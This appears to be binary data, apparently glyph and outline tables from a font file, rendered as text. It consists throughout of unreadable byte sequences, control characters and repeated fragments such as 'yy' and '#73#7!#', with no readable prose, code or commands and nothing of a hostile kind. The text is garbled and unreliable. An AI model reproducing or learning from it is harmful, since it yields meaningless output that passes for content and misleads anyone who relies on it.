(<_�WK8 7Id m�47Q%nn&1&8"#����>�x��������Ff���������f�������3��N�N���m�����p�'����D���pf#!#�����Zt��f��x��x������79'��/��_�����5#6'&"#67632A}01�?@}kj����I''''I�SR�����@�	#6767�V^�WT��*hE+rPP7�����'&767632'6�H@"$5/AD& !7{ZI�	')>61+8B8Y(Bw/.����&'&767632�W7kM:;EA"31�x./wB(Y8B8+16>)'�-��f!#D���f�����������rC������3�����vv�b��O�%��#7373#��$��b��ü����%���33##�u��$��㞼��sy�q!7!#Q��%�b��������b7326764'3#"&��7C)8
�	tT4a2~1'84'Q&6`*q}=�r���"3"'&6763��7-.6vDC.cdv��&'l'&�TS�ST����73733��%���%�ü�������#7!##���%�%���a������%��#73733##���$���$���ü������a��7!��$�$�a�����9��#"&'733267��P���<�E+q
-BILP�f���PG^{����9��!32673#"&7�bP(IBIq+M�<���f{^GP�������K���p���"�����K�m�pj�8�"�����6&#"3267"&7>2�V)%&;(&%=���m��m�$32%&23$c��cb���+�)��r
>?3�,V^�VT��p*hE+oOP7����o��z����8�o����������r3��N�N����m�����`�r#!#7��%�JvJ�%���x������;���r#"'#"&7327676732767y2�!$^)E]eO~JF%
JM#��3HH���s



z����������v��v����b���T�r��������;�t�r��l�=���<�8�s#6'&"#67632�}01�?@}kj����<I''''I�SR����w�9��t��e��������M�rq�t�f������B�������������aW)&'&#"#7676763232767673#"'���aXO<nCAredc��aXO<nCAred`�B$! &�KH.)9B$! &�KH.)9�4��X7!�4��yy�f��X7!�f:�yy�h��.�'-�C3�gV�����M!'�
ICINZZ�[�����327>'&#72#�z7-.6vDC.cdv��&'l'&�TS�ST����_��73!3�~%�J��J�%�̼��x����4�V�s37!��-�-� o>p����n=���y�;�K�r67632632#6'"#676'"�z2�!$^)E]eO~JF$
JM#�;�3HH���s



z��&��<�'7'77��k�Z�Z�k�Z�p�po�pp�op����)"+72676/&'&7>3�=M%��=M%��e$&6"5YUd%!5"YU���:'����������������)AN���#Km#"'$#"7>323276K#��|W���c��+3��X�)c��m�gE@Le�bF@Lr�	+m #&'& #67$����$����d���$t�Mmln�ww�@l�����"��vi'#$��!73#!!!#3
���i�}���}i���y����V!�-yF?'!!#3!73#Fc�c��L��������L*�����yy5�|ot�f3p���t�E�V�H%#Ģ��H���4�33!73##7!��������Т�\�z���yy���\yyhp'
3#7!33!h���~�����~�V�z�w��Sz��w��W���	?3?�K�+�56�g2߂�]

��-���D?��E���D&Fy��R��-���D&?yz�R������������V6�-��4f!#�A�f����O)��&j�����^�f'�
���
#�y��W�f'��t��W	?f'��z��Wlf'��z��W���f'�� ��WAf'������f'��"0���!]�&2����^��$����B�%��%�
#73#7!#7!31��3D�)����y�y���-y��]�)3!]�N��d)��������0�(�����=������+U����"!#3!73#2#" ! 
��%�d�$ $�d��@@{���@@|�������xy[FF�������5BKLB��������y����d�����d������,����8�.�^��73!7333!73���Dz=�(��E��yyy\��yy�����	
�0������1����73!3!#!##3!73#7M{R�NR{r�D{R�R{��%{d{%�%{d{%��Z������Z����������U����2������������3����
#	!#7!	!73>)���@{%�3�f�{R���*����Z��_q�7��g[�<U��&/67676'&'3!737&'&776?#7!#%�52t--H.���숸02���눻20���62s--G N2r��r1��yyYn���e$\yy\$e�����n|61r��r2����w�;���/3!#"3!737$'&6+7!2#7!#676}6:�$f["97����1���1��Ym69%Zf$�<6/K$f����v/x�1y����wi�yy�i~%�y����_-eyy��7�����!%!73!76 !3!&7 qN�<�#&��49�����:2f�&�"<�O۶+>�w>+�θ}�� 0
'5������ �5}\A�<��}���������'
o�u��g[�'
ou��T���f&*���3���f&.�����VMf&0����!�f&2��������&>�T���A,6737'&'# 766'&7676�di�	�OC	WU^�ئ0Vc����23��=]�� �iC=Ymj?�Q3,_c"w���B�my$:"),���+��
`W�6XYR���V'-%327676'&+7327676'&!!"�0=Pdq$IB4'8J+6�C�N��2S�e{"cc��uM)����da	Ta��^yxDY��K0�����m)�\o��TS"�f�����TV''&7#7!76'&'73x�Ctk�"�eu�V�T
0	��0C�̸��Gwgn��k��!�4fMJ,:��%��	'0&76767632#6'&'&#"3  7626&"��!���dyuo)p&9kwJ&.	���33�����33�q�p�d5�b6�^��E?

�$!.0#X���������+�X�L�����3���6H#6'&'&#";#"32767673#"#&'&7676767'&'&76767632�)p&9kwJ&%
*;�0=�[0+@�S
.o-~|{h
���f	a�&U>@���qlu�$!.05$#1�?*G*(=5
#<�LO�~H?7<`�E?

M�U!#!3 #7276# 67�{ y8��[)/R�G�y��!��4(���!y��������o]Ll��&����VMD3#7!>32!6&#"����R�}�GG(���1Uk�!u�y�_Tjg��X�i����T��,!'&"!276 ! ��=�PD;�h@�KB���IJ��JIAQ�����6�������s�y{��T�����!M'
%'&7#7!7.����%t���+zzf!p|q�Ry�3�G���')73#7!##7!#3!733^������K����Ps��}�t9�y6xx�~�yy���yy{X������%3!733!73&'&'&7676P{�q�v�]���u�8S)WA+(q+N;H'PyyyC��yy��+'%M�
	��@�V�'!#7!3267#7!3!7#"&'���
��t+/Xj�!\�巘�G{J7�VXy���n���y�Ry}SGu_')#7!6767676'&'73������Oj�8V#	7��3OER_�M��y�QWmNy�9�L,;U�QwapKq,`8�U)&'&76%!#!!3#3 #7276#&'&7jQ^M"'��� y8�+00=�cC /<xE�y��!���%=G=2��V�!yC��x���Lb�o]Ll���s�8��E��DR���'#73#7!#3!73!3!���P�����������y5yy��yy5��y��V'D32676&#"%6#"&'!$?jm{-17mj�Uq�Y�`e23���p�n��Hi�������HJ��������QS��z�U�D% #7276# !2#6&#"�G�{��!��43no�m9p
dr��0/RT�o]Ll��&(**�ه����V���'
%266&" 676)Xp�2.5�.16��f�����3-��-�T����Z����+Ꞌyw!d'#!!327'&7!y8��Wt,{pv$����%t��!y���b�p|q�R���C'$#7!727676'&'73o�Ds���,�cXT,&	��ON"CdM`st\Ry�3�up�c~,A����X�6C#$��V	'8%676766'&#"!&'&'&'&767673%6#!kFM2'Al0�R��Q�6s891!#����	#M>%,)%W*
y2ړ�8JCcMD�Ck-HQ�]o��Y�066�X����A,~f��pgnG99Nv���X�6/7���9�D5%3!73&'&#"#767632#7!#327673#"'&'��w��s(C$<"#^'533/<>82gbs��@$<"#^'533/<>7��jjtkD�.)���hkk���lD�.)��V�'567676767673!&'&'&'&7'&'73�
2+KT,'\���	<40!CcNT~@�T��R�3s981!!3	��O0,(%&�'�Jep��]�A,)n+��X�6;+�Y�066�X�~,A����ng	�W��P'67&'&76767332!327676'&'73''&�81!"����	$L>%,(+Qx3DbD3wQXT,%	��ON"CdMD�V��J���Xy�6�X����A,~f��pu
\����up�f~,A����X�6/7!��'7���!�N&2j������CN&>j���E��f&8o�����Cf&>���W��Pf&B����g�#73#7!##7!#	%37���j�-��?�,ng�th�gv�$my�yy��!yy�3��x�U�5���T���,	(676'&#"'&! #327676'�m��imPD�C*�����zuIJ�4[[�KDf@qiSE/kAx������������y{���^�����z~�s=f���,%76#"!3#! '&#7!3276 8
*[(G0��U����upk��v&iqKBH�raC?�nYA:���ny������(y��ݔ��]dի�1�%6#6'&3!73&#7�a�I�E�Aq��mk����a?�Z�A�|��>,�Wx`T�/p���yy�F�y��W�f'K������1�&K
ouM�V*' !! '&676!27676'&#"5[�v�13����N��N����31���[H�fq'/KKv��voq/'A:�-��������q�������Lq~��a^��f^a��~qW���'8!32!327676'&%''&'&'&76767#7!��	'>%,(+Qx3DbD3wQXT,%%L CdMD�V��J���Xy281!"�.'��
@f��pu
\����up�f=
&%���X�6/7!��'7/6�X���/yy<�9U*B!'&'47'&76?676'&#676?7673#"&'7376�+-�'�*E�,@;�k�<8L*p9�l+M�	nn�,?<�l{
&/4M)p��}�<�E+q
B�7rrj0>\���(�dT�iO"0B�'/0yuh1�D�(�dT�lG /C���}K�P#%|�Y��%2#"!&'&! "��@A|���@@|\O��O�����xy\GF��\BKLB��������k�h�(�����d����Иz�Y+D%26&"!&'&! {p�c5�c6P��P�W�34x43�~T�����_�d�!b�)������b|�Ur�% #7276# '&!2#.#"�T�|������GEz��G���큖\�q[Ll����kf�@A�������f��j�U�!7673#"3 #7276# �1cp&�uFvbTR0.Q�H�y��!��44mD3g�<	ed����o]Ll��&(��$�#73#7!#7!!#7!31��3D�)��]?�%��y�y�y���!�����y���P��%67632#6&#"!!#"&'733276e�!���C�U.y%<K.K8�� ���E�T.y';L.K��vb�ZN9]���y��wc�YN9["��
)	##7!	33����p�o�E���y�{����y�?�����	#!3��'�+�*̊���"|����T�	#6'#&#"#6$3 !7276P���� ��VQԩ�KG�,�zfbv����j��B���ݔ��֡��oA@�_����_y��3�VD	#&'&'#&'&!7$#66����
!�e��KL����?���=#��T2513�,9'Gq ����h�����**6'&76?676'&#676?7673'&'4��*E�,?<�l�<8L*p9�k)P�mo�,?<�l{&04M)p9�h.J��0>\���(�dT�iO"0B�'//zuh1�A�(�dT�lG /C���07rr.�R(D032676&#"762#4'&#'&7%6#"&'$>jm|,17mj�&+ʚ�_*$q/c�]��eP!dr�Y�`e23���p�Hi�������OJXO<,�:)L-^J�HJ��������QS��E���DF�����9�MU����!326'&#" ! �?==���V0<��{b=������xy[FF����B�逡���v����d�����d��E���D�-���D 332767!6!6'&#"#>3 !"&-�	hk�QD0�l� '+�r�+p:}�o�34������Lx�hW�y�Zd��'**������ڳ����������VQ���U��K�&��	
�#73#7!	!#3!73#3;��hRg��������޾y�y�9�y�yys��y�V�'	!3!#!;A������C��"'��Ry��o�V���V_D%73%6#"&'!!!732676&#")dwq�Y�`e23���p�@��n��$?jm{-17mj��yeHJ��������QS��ypp�i���������	�>��U��K�'yd"&����	�&>y"����0k'
rxu�����0�'
oxu��Jv�-!"&'7332?676&#!3!73!#!#7!!2uF
Ae���S�P-�<La52,Dy���y�����.�I
I�.��]�����C@�Op""�^XKW�_����yy��u���������k'
pdu~V��J�% 3! ! #!"!!3'��h��������EE	z&G����>��g+>K\N���ef����w�����������t�6������,����[�'
o0uq�����V6�-����		�)4'7326#7!#32#!73!#"%3267654&+X,�4�q�>8�U�aL����L+���Pi����65x�^���X��x�X0�PK��>$yy�
 xKq$'޷	y����Ɩ��.(]���	��(4#73#7!#!#7!#3 #!73!3%3267654'&+1����bRb���bLЋM+���Qi���w��w�+X��	2F�Xy�yy�
�yy�
�Kq$'�iN	yd��yy��.'^<U����!#7!!23!736&#!3!73!H
H�-��]��'>���>z���y�����-`u������yy;����yy������_k'
p6u������k'
r0u���O����&��dr����#73#7!#!#7!#3!"#74#����R����fd,6�Yy�yy�-�yy�y���q������$$����##73#7!#7!32!'3267654'&+1���H�-�^��v�zM+�������	6Oϐy�y���"xKq$'��y��/'`7Q����B�%����
#73#7!#7!31��D�)����y�y���-y����D�	"%3!!326#7!#3#74#!"�J��6w�
�Vl�qDX9�����VyZ��d,6������*�>��$yy��F�r������0�(��
��+#73	#7!##7!##7!#	3!733!73'3}����-�u���u�-��ѓ���ܖY���Yf���y#�yy��Zyy��Zyy�@��yyAy�8yy�y��y��m�-3 67654'&!#73 7654'& #6$3  $Ǚ4�	0E��B4Xx'8���&y:��:�}c5��=(�����	���0*_=XxD^�8/C�{+##`L#'��;4��/6�߽����#73#7!#7#7!#3!7331������������&�y�yy���kyy�yyC�D�y������&���u��_�#73#7!##7!#	3!7331���w�-��ؓ�����Y�y�yy��dyy�L��yy=u�8y����K� '7326#7!#3!73!��fN,�4�q�>8�U�����65x�M�PK��>$yy�yy��������	
�0������+��U����2����#73#7!#3!73!31���������y�yy�yy�-y�����3��U��K�&��_q�7O����"'7332?#7!##7!#v��.�3j�F�����
����*"�D�PKb,ryy�"�yy�b:!�NK�
(13"476!7#7!# !3!737 276764&#�34d�dTp1�]
1���@
1�*��������dTo1fd6^A@<F^�a15�PyyP��15���eyye��G]�c�~����w�;����#73#7!#!#7!#3#74#����R�����VyYy�yy�0�yy��F�q�u� 7!#3!#7!#3!73!"'&547���M#2dD}������_�Q�t\M\yy�u&e,A�yy�yy�gQv #���
`�#73#7!#!#7!#!#7!#3;���������������y�yy�0�yy�0�yy�y��
�#73#7!#!#7!#!#7!#3#74#����������������VyYy�yy�0�yy�0�yy��F�qU�	%3267654!#!#3 )73!3w��	��w��H`�b�h	+��������i-y��-'�ruy�
��*0��y����	��&�,����#73#7!#3 !'3267654!#1����b�h	+�����w��	��wy�yy�
��*0��y��-'���	�3! !7!65 #$! ! $�'��g��c�G[y��F�����������A�dR���o�З�Yd���`����	�� -#73#7!#37$! ! '&547#33264&# 1����j�Q��yx)F������|�j�F]���@!\���y�yy��/����\h���dΓ�8=��yB��BK���r��C�&;#"73&'&5476$)#3!73#3�*=��r�	���fhM
%D�����k�P��T4LH��,��yV#H6v)2��y�yy#��y��F���DDP���J#24?67676$%>736  '&%32654'&"P	'h�A&�_��W����h7/�T�]3����|_t
pq�S
�Q�:A�X8ɏLj-Lv@,<j8���k�AJ���ՎmFM"a��KL"_��^D���D",3264&#"%47!2! &2654&#"��nyLge��3h�ڀ����������:Rmo+'ӆ�VT!1Q(���VoV���_t�(k��r��lE7476%654#"'6$ 32?!"&r�o&�q��N�����[u�2N�w��جgQ�F^b�X�m�e��)Bf�<V���F��M-32654'&#"%47326'&#"'63  '&�
qpse.]q�Q��3y�Tv5@�hgKj��u6dE���΂^7"a��c7_��^@J)L)���RTo�j������r��l��D���DH��
�DD3326764'&"#6$323!367632#&#"2673#"'&547#!##"'Gv	�Z�/&��$�;�օ_�UbU�?��֖�2v	�Z�/&��$�;���օ_
�a��a�9��֖�8���/gr[���f���H�v�T�����.hr[���e�7>�
����T1���D(3!2654!#7327>54!"#6$ !"'jq���=0�M8'��"�;��t���{����Hׅh��1#J.��J��h���
�Uŭ<�����_'X�����_�&�����s��tD)7!767632#&#"327#"'&'&/!��W~	�bFs)~_%j�p*:
H29b���yQ/P#P����y�>k��Xs�k/p�f��[A,�I "�`���h'"'732676)3!#"�XTF>[abd7h����T�:{P%��x$-I��Ry�X��q�B[��('"'7326#7!!3!!�FTFB@v7Q�%zz������Z��FI$����y��|�Nuc�:�]��B[sb'7!!!3!!!��U]Ub���a��a����y�H��Ry��
���E��DR��rPDQ��3�V~DS��E���DF��r�DP����9'\>�V�
?32?'&#"26654#"4732#7!7632#"/!#"�UR/�
R3w1!�3w2 UR/�	�3s��"
T�l=���4���� 	`��`;���"�7�7�������H�7�:7#BK*G�x��G��AK����G��G������'[��D�'47!32!326735>54654' '#"&547��y3M�@tc�O8.�&�t;xI|��RR�}�ul�y��{7H7JT��
341p:1%$];vo	P`a/V'�_T�TRM+�F'7!3267!3!#"&547��?(Ql^Bb���Y�pӪ6�y��N(0OU�T�Ry�O�_���'*%#"&'# 47#7!3267!3267!3!�Ղ�_�s��l��yYX�}byXY�}b�����chja?L+y���g4������h4����Ry��D�'E7!3267!3267!326735>54654'#"'#"&'# 47��y2BX�}by2BY�}b�O8.�&�t;xI|��M�Ղ�_�s��l�y���4H2������4H2�����
341p:1%$];vo	P`a/V'��chja>M+%���E42654&""'7>3232?36  &54?6?"&�+ȢT���s+PD	(�Il�EN@�{lW�a����4��U`TeUp��2j�V /_~�=���z�q$���x(ت�)$&����'"(7!632! &54732654&#"!3��W���������p�+bf�TTNu��c���y�>m�q #���x >�B,p��2jZ� 7��'�Ry����'"7!632! &54732654&#"��W���������p�+bf�TTNu�y�>m�q #���x >�B,p��2jZ� 7F���D!6$! !"'3!2767!7!64'& �;}Y4������9q�SB2�l�)��"���i�CN����<)�hS�wU�5_�Js���D&7!36!  '&547#!3264'&"��]�9g�^3����yg�Z���B
qp�S
��y���k�AJ���Ջv� !�1��™"a���"_����''"'7326?67.54$3!3!#";#"�zTD<=Nc6���>�����\VC|`.�CXf�C�b��@�fsU���Ry�m.�WT3cYo��D���f'C����D���N'j��>�9"#3#73#7!!!>32'664&#"F���H�_��P9S�}��3�e��8֩4C`�@A�yux�y��_T��48�����gy
K��������r���f&vm�E���D 47! #654& !!32673! '&E3n�9pR��,��l�k� ���q��[�CL
(H��el��w`Jށj���i������WDV��E�L��u�N&j�������9�M���'.2654&""'72676)6  '&547#"�+ȢT�u�,�TF�a�7hW�v���mlpT�:}N%Yp��2jZ� ���xQI��>m�v ��kk|>X��l�Bs���'&2654&"7!!!6  '&54?!!�+ȢT�u���U]UbW�v���ml��a���Yp��2jZ� Zy�H��>m�q #��klx��
�F" 3#73#7!!!>3 3!64&#"F���I�`��P9R�}'9��R
$`�?A�yux�y��_T��=J��y�F\N������s��tf'v�������_f'C������9�&��Q�����=_''��^�@x�	-3267654!!#!#7654+3 )73#"#!7#{w��	������r8yR�6�i
+�������ȌZ)y8r����-'��yY��j��+/��y�!Ys��E#/7!7! 6  &547654#"!2654&"��6�6)�v� ���ZOU��e����+ȢT�v�y��-�!#�m�q #���x�[��N����kUp��2j[ ���	}�-! '&547#3!73#7!#37$! #! !!! �h���������j������j�Q�z&G���j���gQ'����ѕ�6;��yy�yy��+�Ё��w�ǡmY��N����D(6 #654& !!32673! '&547#!#7!9;W-�9pS��,��l�k� ���q��[�\�����[S�H��gl��w`Jށj���i�*/�$�y�,
��(	73>37!23!73&+3!73#"32q�W��Ѳ�ac����P(����� B#v���v#B8��L�R���y��f⍍�f��yy&>��yyd>��y:��,'-0##"&?327676%7!327#"'&&'#!��%�U���p!l2N+U3KW����kC!N29b���jEwb����d�[��*A[��f�Jl3Aww��3lJ�f��[A*2[�
�����}�-3	7!23!73&+3!73#"3!73#7!#67!,r���ac���TUP'����� B#w���w#B8��������b�:4��wL�R��⍍�33��yy&>��yyd>��yy�yy�
��<+�����
'-6	#7!#!7!327#"'&&'#!#!!327676�d�O����>����kC!N29b���jC
wb��b�'f9���o�Js�U3����R�yy��Aww��3lJ�f��[A)3[�
�%Q�t<���A�J}	Z�##7!3#7!#3632#6&#"#3!73ǽ���<������f�w�0q6CB1��4���4�my��^yy��ݪ&�cJP����yyb�V	 !!#7!3#7!3632#6&#"#H��S�`�u��d������^�]�(q
,IG���V��y�R#x�e-�'�BA*�W��U����%F���D  547!26!64&"�A�����3��$�y��x#�yD��A�����@J��}���Nu�~����7!#632#64'&#"#����Il�w�0qCB1����\yy�#Ǫ&�)IP��\fGD7!#632#64'&#"!fb���`�]�(qIH�����yy�`��'�5*�W�����k'
y�u���fGf'��<t�	%4!#326767!7#7!#!!3 )73��wzw��	��,���,��6�c�r	,�����������.��YyyY���jQ�-3��yd��&73#7!3#6  &5472654&"d�H�_��@�v����o�+ȢT�u��ux�x��m�q #���x7�I,p��2jZ� 7��I�
#73#7!3!31���9�T�#��y�y%�R�-yvX	3#7!3!v���;yS�ѷ�y1�V�R����#73#73#7!#7!!!31�x��`�D�*��]��Wx�yq��y���'���yr��lE)77654#"'6$ '32?!"&54767<���q��N��Ɩ;Rv<�Sd[u�2N�w��0R�hkMF^b�X�m�e�r.0Dhi+-)Bf�<V���Y�g#/��J%�+3!73#7!#7!!2!"&'7332?676&#�{�����3D�)��]��'F
Af���S�P.�
<La52,Ez��yy�y������C@�Op""�^XKW�_����9�''3!73#7!#7!!2#"&'732676&#9J������P8y!�"6a�EF'G���<�E,q-BILI0U�yy5y�ߨ��jl�����PG^{u�i����
��/#73	#7!##7!##7!#	3#74#!733!73'3}�
���-�u���u�-��ғVyZ���ۖX���Xf���y#�yy��Zyy��Zyy�@��F�ryAy�8yy�y��y�D
�DX733267654'&"#6$323!367632#&#"26735>54654'7#"'&547#!##"2v	�Z�/&��$�;�օ_�UbU�?��֖�2v	�Z�/&��$�2c�t;xIX\Ն_
�a��a�9��֖7���QS/gr[���f���H�v�T�����.hr[sS3:$];vo	P`a/V(�f�7>�
�����om�&�z���1�o�D&�z���_�#73#7!##7!#	3#74#!7331���w�-��ٓVyZ�����X�y�yy��dyy�L��F�ry=u�8ys�DtD:7!767632#&#"3275>5464'7#"'&'&/!��W~��dFs)~_%v�p*:
H29b*�t;xI.b�yQ/P#P����y�>k��X��k/p�f�P]:$];vo	P`a/L A,�I "�`���_�#!#3##7!#	3!733!73#737#����G�-��ؓ�����Y��������yp���dyy�L��yy=u�8yy�ps��t13#737#7!!!767632#&#"327#"'&'&/s����+g��q~	�fFs)~_%j�p*:
H29b���yN/P#P��gx߉��k��Xu�k/p�f��[A*�I "�`Ul�!##7!#	3!733!73!UHa�w�-��ؓ�����Y����i-`uy��dyy�L��yy=u�8yy��,��D+!767632#&#"327#"'&'&/!!,;�W~��dFs)~_%v�p*:
H29b���yQ/P#P�����#�,�=k��X��k/p�f��[A,�I "�`�������#73#7!#!#7!#3#74#!73!31���bRb����VyZ���v��v�y�yy�
�yy��F�ryd��ys�D�'.7!!!326735>54654'#"'&4?!!��U]Ub�D8.�&�t;xI|��8&��a����y�H���
341p:1%$];vo	P`a/V'�
@Y�
���	��#73#7!#!#7!#7!3!73!31���bRb�	D�*�����v��v�y�yy�
�y���-yyd��ys�'7!!!#7!3!!!��V]V�9y!�T���b��b����y�H��ߨ��y��
���J	��1!2!"&'7332?676&#!3!73!3!73#7!#���'F
Af���S�P.�
<La52,Ez���{����������k���C@�Op""�^XKW�_����yy�-yy�yy��9�'-!2#"&'732676&+3!73!3!73#7!#a�EF'G���<�E,q-BILI0U�H��������������P��jl�����PG^{u�i��yy5��yy5yy��U�oK�&�zo��E�o�D&�z�_��o�!#7!3#74#!73!_H�H�.�d��VyZ����g.`u���-�F�ry��s�D�DI3#7!>2>3 326735>54654'#"'&4764'&#"!64'&#"s���P��^�s*[C8.�&�t;xI|��8>YX�~��yXY�~�y�]Vchja��>M�-
341p:1%$];vo	P`a/V'�
@Y?�h4���yo�h4���y��g[�<a�V'7!#7!!a���l�+c�pu��j��y�:4y�e�%��!7gY�7!##7!#!!3!73!7!7g��������	��4����4��	��\yy��9yy�B����yy�X�a�V'7!#7!3#!#737a���l�+c�p&��7��7����y�:4y�e�%�y��y�7����v� #73	#7!##7!#	3#074#!733l��������p���'_�VyZ����q�y;�yy�\�yy��5�F�ry�:y��D'*##7!3326735>54654'#"/%��w��]��9�,8.�&�t;xI�r�]����y�����!+41p:1%$];vo	P`a/V'���o-��;�!#7#!#7!#3#4#!73#eHSH�.��b�����Vyd�����.`u���@�yy��F?y��G�D8':7!#7#32!326735>54654' '#"&47#G-V-y�a3M�@tc�DC.�&�t;xI|��RR�}�ul�B��l�{?@7JT��
341p:1%$./;vo	P`a/V'�_T��M+l���u�"7!#3!#7!#3#74#!73!"&547���MTdD}�����VyZ���^�Q��M\yy�u&em�yy��F�ry�v #���D�'97!3267!326735>54654'#"'&4?#"&547��?(Ql^Bb�D8.�&�t;xI|��3�pӪ6�y��M)0OU�T��
341p:1%$];vo	P`a/V'�
@Y�O�_!��e�#73#7!#!23!736&#!3R��1�a��'>���>z���y�y�yy����yy;����y��E#K������,����
�k'
v�u�����
�5'�����J8�132!"&'7332?676&#!3!73#7!#3#7!#���'F
Af���S�P.�
<La52,Ez���{�����a8��-�k���C@�Op""�^XKW�_����yy�yy��yy��9�'-#"&'732676&+3!73#7!##7!#dT�DF'G���<�E,q-BILI0U{c9�������K����hl�����PG^{u�iL��yy6xx�~�yy��J��)%!3!73#7!#!#7!#!"&'7332?6q~��w�����bRb���
Af���S�P.|
<La52U���yy�yy�
�yy��C@�Op""�^XKW��9�'$#"&'73267!3!73#7!#!#7!#~���<�E,q-BILz��J������{�>]>�}�}���PG^{s��yy5yy��?yyJ���#7!#3!#7!#3!"#3!"&547J��MTdD}������d,6yV�^�Q��M\yy�u&em�yy�y����v #�����'#)!3#'&'&7#7!#3#7!#3/��A��X�7��e&D8�{�;&.�R�}������:9iyy��B�yy����n!#3!73#������o��x��yy#�����}'�XH{��F���5&�w�������&{
oFu��F���N&�jX���/[����8��D�����0k'
vxu���D���5'�����V����Q��]���D���V����'
o�u��]���N'j�����
��'
oTu�����
�N'j4�����m�&�
o�u��1���N&�jc�������y����`�'T�����P&�q�D�����_&�q�������&�
o�u�����_N&�j���U����'
o�u���E��N'j����U����_��T��D7��U����'
o�u%��T��N'j�&����	�&�
ou��F���N&�j���O���P&�q6D����9&�q���O����&�
o8u����9N&�jT��O���k&�
x8u����9f&��T���u�&�
o�u���FN&�j������#73#7!#7!3#74#1��D�*����VyZy�y���-�F�rr�DlE27476%654#"'6$ 32?5>54654'#"&r�o&�q��N�����[u�2N�t;xI����جgQ�F^b�X�m�e��)Bf�<V3D$�;vo	P`a8].2m�����	��&�
o�u������N&�j������2�R"��	D.! '&76767.7!2#6'&'&# ;# 32767��a��ih�p�6ow*p
	89���!*;�0=��+DD�RR��ON�|ML
~a@�$./�#1��Q1ADE&��Vr�$733267! '7326#7!#!"&�-�<Laj(��86w�]�fN,�
<�r�>9�U���/���S����^X�������M�^X��>$yy����"�9i'*"'732676)3#"&'73267#"�XTF>[abf5h� ���<�E,qBIM�T�:~M%ML�x$/G��\���'$^{+X��m�B.-����
@�+ '7326#7!##7!#	3!733!73	&5x�^�fN,�<�q�>8�U��o���'_����q�������L�����M�^X��>$yy�\�yy��5yy�:yy;���'#"'732676)33!##"�XTF>[abf5h�]��9��;�����CT�:~M%ML�x$/G�����Fy��o�X��m�B.-��e�n��4��k�VRDT��g	��:��='Z����B%3!"'#".547#7!#327.547>54&'#7!#LD�%#-G�S�؛V����:_FQG">/
�d'DY2'9<t���P<9iyy4i�k4>`yy� )J9"BFF b:	
S`f/0{@Hy!Ryy��U�?)1��k�0%3!73>323!737>54&#"!2.#!
�������qœT[��[/bjAcH0
t�E��|#���^�yyy`�̀:*^�p;L^yy�1ZQBeF��!�DPrN�&;2.+3!73#".547>32>54&#";UE��r#��g^46���6�qʘY���pR
W��\gAfR@1J0�!�DP��yy*b�vAN�ׂ7-a�n>D�AS2WO$a��Dl+=O/)m�03!737>3232.+3!73>54&#"[��[���qœTW/E��r#��g^46����bjAcH0
{yy^�̀:*^�p;L�A!�DP��yy�1ZQBeF����332>?#7!##".5467#7!#!2.#!>bjAbH0/[8[���qēT���=�E��{#��
-AQ/�h/ZRAeG�yy^��~6-b�o?#`yy��!�"6'4�lM�:"3!.5467>$3232.#!!32>7>54&ڮ�x�
����ݠYEs���FWE��r#��cZ�u?�$Sy̥|)ny��'y#C �ӋD9u�xzٽ�yU!�BRF�c�6�6`*y��l\�#'3#7!#!2.#!!2.#!%���<sE��|#��
-AQ/����E��|#��
-AQ/��y�yy��!�"6'��!�"6'���lu�.%2.#!73>323!737>54&#"E��{#��
-AQ/�������qŒT[��[/bjAcH0
‰!�"6'y`�̀:*^�p;L^yy�1ZQBeF�����	r�AO#".547>;7654.#"3!73>$3232.+!"32P{��le�|F
w��r�0`�bo��R
�������C��
�hE�r^#��+5��"A:1;8�@B�x�x<1_�Z22u�p6�!;eI*5\{F�Ryy��P9t�x= !�$7%I{[kGZRIS ����#62.+#".5467>;#7!32>7#"�E��r#��h^3Q���r˙Z����=�AT�)3K0A`E,n�AfQ>'!�DP�^�̀:$Z�u D&�׀65y�R�ӌS=K)BeF6"]���4�'%3!73#7!#6323!737>54&#"+�����=x�qŒT[��[/bjAcH0
yyy�yy��*^�p;L^yy�1ZQBeF��lv�'3#7!#!2.#!����#E��|#��
-AQ/��y�yy�-!�"6'���	^�1#7!##".5467!3!73#7!#!#32>7i[8[T���qƒTQ�М�����<
[qbjAcH/�yy�N�̀:*^�pC%���yy�yy��y��0[PBeF���b�,C"#".54>7!!3>32.32>7654.'@f�T���Q���}�f4]�P��Ex+@X���Y?~sb$��{��

AgJa�^;+c�v[�j<9Y��n@!��L=|�]���Fb�9\A" �DS��3]+DnM*U��YXKO�b;g���m�*#7!#3!73#".5467#7!#32>7y[8[����<<~AqŒTT��qbjAcH/�yy%��yy6)_�p C%�yy��0[PBeF���x��#7.546,7!���y�x
R��4jW�"����'P�lU!��[iG$R1>���N�9��e�>P"3!.5467>$327.'#".4>32>54&"3267.��x�
����ݠY4c�Z#D#_E��3�Rz�nF�iAC{�kj�(L;$s�-#%6?U�K5ibWy��'y$D �ӋD9u�x\���O.PV��-\,>F9\��lCDB=���X����#'--'8�l�,3!737>3232.'!73>54&#",[��[���qŒT�E��r#��dY����bjAcH0
{yy^�̀:*^�p;L��!�BPy�1ZQBeF����+8&#"3!"&54>7.+7!>3!2654'V;Jd�u� 
�0PH5a���i�
*IIU�4#V�|kaZ-��� +�ĺ�H���.7	k2/)p����\#%yUgFB\?$��'r��^?B����-!2.+#".5467#7!#32>7#w E��r#��h^����qƒT�����bjAbH0ō�!�DP���̀:*^�pC%`yy�0[PBeF�(��L�Q#32>7>54.#!!!!2>54.#"!>32#".547)H#GlJR�lI1M`0��*�ap�.cR5 8M-5cS<
�d���~؟Z;h�RL]4Sz���c���p	�l-WD)4]�O$B^=~YR#IpN.H2"CfC`�c2*RwMDw]>7UoC%"R�iM32h�o*/?��i+#7!##".5467#".'%3!#3267"[8[���qŒT�E��r#5h^V��bj��Zyy^�̀:)_�p C%P �DPy�0[P�����p�:%267>=#7!#".54>3'.+7!2%.#"��x�
�����ޟWBo���M�488vRH�=�D�$4_��Mh]��
&y$D �ӋD;x�zt̬�^2[

y���	p�줌���5�$%3!73>323!73>54&#"
��3�����qœT���2��bjAcH0
yyy`�̀:*^�p;L��yy�1ZQBeF��TL�9"3!.5467>$32##7332>7>54.ݮ�x�
����ܡZGx���P�Gk��Gk�49O��g

9Vy��y$D �ӋDA}�uoä�Z/e��8m;@E�ǂ3[*DmM*)��-3!737>,323!73>54.'3!73[��[��I���p�����">Y7�[��[�CpV9{yy^�̀:,d�w4<��yy�
-C1 	��yy
